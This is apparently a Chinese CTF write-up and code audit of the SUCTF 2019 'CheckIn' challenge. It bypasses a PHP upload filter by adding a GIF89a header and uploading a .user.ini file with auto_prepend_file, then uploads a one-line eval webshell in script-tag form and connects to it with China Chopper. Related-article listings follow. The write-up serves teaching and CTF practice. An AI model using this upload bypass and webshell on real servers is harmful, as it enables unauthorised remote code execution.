简介

 原题复现:https://github.com/team-su/SUCTF-2019/tree/master/Web/checkIn

 考察知识点:上传绕过、.user.ini

 线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题

过程

拿到题老方法 各种绕过尝试

经过测试 得知有:后缀名检测(php,php1、php5、phtml不行).文件内容不能有<? 、必须是图片类型、低啊用了这个函数exif_imagetype()所以要添加文件头

测试.htaccess可以 但是没用 看WP说服务器是nginx 1.10.3,似乎版本较高,不存在解析漏洞。可以使用.user.ini

.user.ini

.user.ini。它比.htaccess用的更广,不管是nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法。我的nginx服务器全部是fpm/fastcgi,我的IIS php5.3以上的全部用的fastcgi/cgi,我win下的apache上也用的fcgi,可谓很广,不像.htaccess有局限性。

auto_prepend_fileauto_append_file

大致意思就是:我们指定一个文件(如a.jpg),那么该文件就会被包含在要执行的php文件中(如index.php),类似于在index.php中插入一句:require(./a.jpg);

这两个设置的区别只是在于auto_prepend_file是在文件前插入;auto_append_file在文件最后插入(当文件调用的有exit()时该设置无效)

利用思路大概是这样 上传.user.php内容指定a.jpg——>上传a.jpg内容为可以执行的php代码——>访问当前目录下的php文件即可

我们可以先上传一内容为下方的一个.user.php 我们可以看到上传成功当前目录下有个index.php 这说明这个漏洞可以利用成功

使用auto_prepend_file指定一个插入文件名为a.jpg 这样当前目录下的php文件就包含了a.jpg这个文件

GIF89a
auto_prepend_file=a.jpg

在上传一个内容为a.jpg的小马文件 这样此段代码就包含到了index.php了

GIF89a
<script language='php'>@eval($_POST['xiaohua']);<</script>

菜刀连接 使用菜刀中的虚拟终端查看flag即可获得

http://87e-ebb9c445cad2.node3.buuoj.cn/uploads/d57583a334819a28038b398dd11b00cf/index.php

参考学习:https://xz.aliyun.com/t/6091

    https://wooyun.js.org/drops/user.ini文件构成的PHP后门.html

代码审计

程序代码:

<!DOCTYPE html>
<html lang="en"> <head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Upload Labs</title>
</head> <body>
<h2>Upload Labs</h2>
<form action="index.php" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="fileUpload" id="file"><br>
<input type="submit" name="upload" value="提交">
</form>
</body> </html> <?php
// error_reporting(0); $userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
mkdir($userdir, 0777, true);
}
file_put_contents($userdir . "/index.php", "");
if (isset($_POST["upload"])) {
//获取缓存文件名
$tmp_name = $_FILES["fileUpload"]["tmp_name"]; //获取文件名
$name = $_FILES["fileUpload"]["name"];
print($name); //判断缓存文件是否存在
if (!$tmp_name) {
die("filesize too big!");
} //判断文件名是否存在
if (!$name) {
die("filename cannot be empty!");
} //获取文件后缀名
$extension = substr($name, strrpos($name, ".") + 1); //黑名单限制了ph开头的所有 还有这里作者可能想限制.htacess文件上传漏洞但是作者写错了
//所以可以上传.htaccess(注意拼写)
if (preg_match("/ph|htacess/i", $extension)) {
die("illegal suffix!");
} //判断文件内是否存在<?这些字符 这个很好绕过
//使用<script language='php'>@eval($_POST['xiaohua']);</script>轻松绕过
if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) {
die("&lt;? in contents!");
} //exif_imagetype — 判断一个图像的类型 可以判断一个函数的类型是不是图像类型
//绕过在文件头修改成Content-type对应的即可 比如GIF类型GIF89a Cntent-Type:image/gif
$image_type = exif_imagetype($tmp_name);
if (!$image_type) {
die("exif_imagetype:not image!");
} $upload_file_path = $userdir . "/" . $name;
move_uploaded_file($tmp_name, $upload_file_path);
echo "Your dir " . $userdir. ' <br>';
echo 'Your files : <br>';
var_dump(scandir($userdir));
}
?>

基础工作部分

过滤部分

末尾部分

审计总结:文件后缀黑名单比较严格 过滤了一切php1 php2 phtml 这类的后缀 。

    文件内容<?过滤 可以通过JS加载php绕过的

    文件类型判断 可以添加图片头部绕过

参考学习:https://www.cnblogs.com/phpBigbin/p/7945273.html    

[原题复现+审计][SUCTF 2019] WEB CheckIn(上传绕过、.user.ini)的更多相关文章

  1. [原题复现+审计][ZJCTF 2019] WEB NiZhuanSiWei(反序列化、PHP伪协议、数组绕过)

    简介  原题复现:https://github.com/CTFTraining/zjctf_2019_final_web_nizhuansiwei/  考察知识点:反序列化.PHP伪协议.数组绕过   ...

  2. [原题复现+审计][BUUCTF 2018]WEB Online Tool(escapeshellarg和escapeshellcmd使用不当导致rce)

    简介  原题复现:https://github.com/glzjin/buuctf_2018_online_tool (环境php5.6.40)  考察知识点:escapeshellarg和escap ...

  3. [原题复现+审计][RoarCTF 2019]Easy Calc(http协议走私、php字符串解析漏洞)

    简介  原题复现:  考察知识点:http协议走私.php字符串解析漏洞  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到 ...

  4. [原题复现+审计][0CTF 2016] WEB piapiapia(反序列化、数组绕过)[改变序列化长度,导致反序列化漏洞]

    简介  原题复现:  考察知识点:反序列化.数组绕过  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 漏洞学习 数组 ...

  5. [原题复现]强网杯 2019 WEB高明的黑客

    简介  原题复现:  考察知识点:python代码编写能力...  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 简 ...

  6. [原题复现+审计][网鼎杯 2018] WEB Fakebook(SSRF、反序列化、SQL注入)

    简介  原题复现:  考察知识点:SSRF.反序列化.SQL注入  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 过 ...

  7. [原题复现+审计][CISCN2019 华北赛区 Day1 Web2]ikun(逻辑漏洞、JWT伪造、python序列化)

    简介  原题复现:  考察知识点:逻辑漏洞.JWT伪造.python反序列化  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台 ...

  8. [原题复现]2018护网杯(WEB)easy_tornado(模板注入)

    简介 原题复现:  考察知识点:模板注入  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 [护网杯 2018]eas ...

  9. [原题复现+审计][BJDCTF2020]Mark loves cat($$导致的变量覆盖问题)

    简介  原题复现:https://gitee.com/xiaohua1998/BJDCTF2020_January  考察知识点:$$导致的变量覆盖问题  线上平台:https://buuoj.cn( ...

随机推荐

  1. 第十二章 配置vlan

    一.vlan技术简介 1.广播风暴 广播风暴(broadcast storm)简单的讲是指当广播数据充斥网络无法处理,并占用大量网络带宽,导致正常业务不能运行,甚至彻底瘫痪,这就发生了"广播 ...

  2. JavaScript实现基于对象的队列

    class Queue { constructor() { this.count = 0; this.lowestCount = 0; this.items = {}; } enqueue(eleme ...

  3. Java安全之RMI反序列化

    Java安全之RMI反序列化 0x00 前言 在分析Fastjson漏洞前,需要了解RMI机制和JNDI注入等知识点,所以本篇文来分析一下RMI机制. 在Java里面简单来说使用Java调用远程Jav ...

  4. Charles使用part5——模拟慢网络

    一.配置参数解析: bandwidth -- 带宽,即上行.下行数据传输速度utilisation -- 带宽可用率,大部分modern是100%round-trip latency -- 第一个请求 ...

  5. 微信小程序跳转到微信公众号

    我这里是uniapp里的操作 微信开发者工具配置 微信小程序官网地址:official-account 公众号关注组件. 当用户扫小程序码打开小程序时,开发者可在小程序内配置公众号关注组件,方便用户快 ...

  6. Exception in MIPS

    介绍 分支.跳转.异常(包括硬件中断)是三种改变控制流的事件. 同步异常是指程序执行到固定位置必定触发且每次现象一致的异常,如算术溢出异常.未定义指令异常.缺页异常等. 异步异常与当前执行程序无关,如 ...

  7. H264音视频直播系统 服务器端+客户端源码 可用于直播系统搭建

    RTP协议实现直播系统搭建,采用H.264和AAC编码,码率极低,同时有较高的视频清晰度和音频音质,可用于视频聊天.视频会议.摄像头监控等多种应用场景. 直播系统搭建发布端,选择视频和音频设备,指定服 ...

  8. python的各版本的不同

    Python的版本主要分为 2.× . 3.× 两个系列. Python3计划每年发布一个新的子版本,一次只增加一两种新语法. 使用时当然选择越新的Python版本越好,版本越老的代码越难维护. 维护 ...

  9. 1.1 Prism安装

    Prism框架有很多安装包,即便用了很长一段时间,也可能会不知道如何安装框架.细心分析包的依赖关系,发现所有包均依赖与依赖注入扩展插件,以使用Unity为例,Prism.Unity依赖Prism.Wp ...

  10. HTML5 实现的一个俄罗斯方块实例代码

    /*实现的功能:方块旋转(W键).自动下落.移动(ASD).消行.快速下落(空格键).下落阴影.游戏结束.*/ <!DOCTYPE html>   <html>    < ...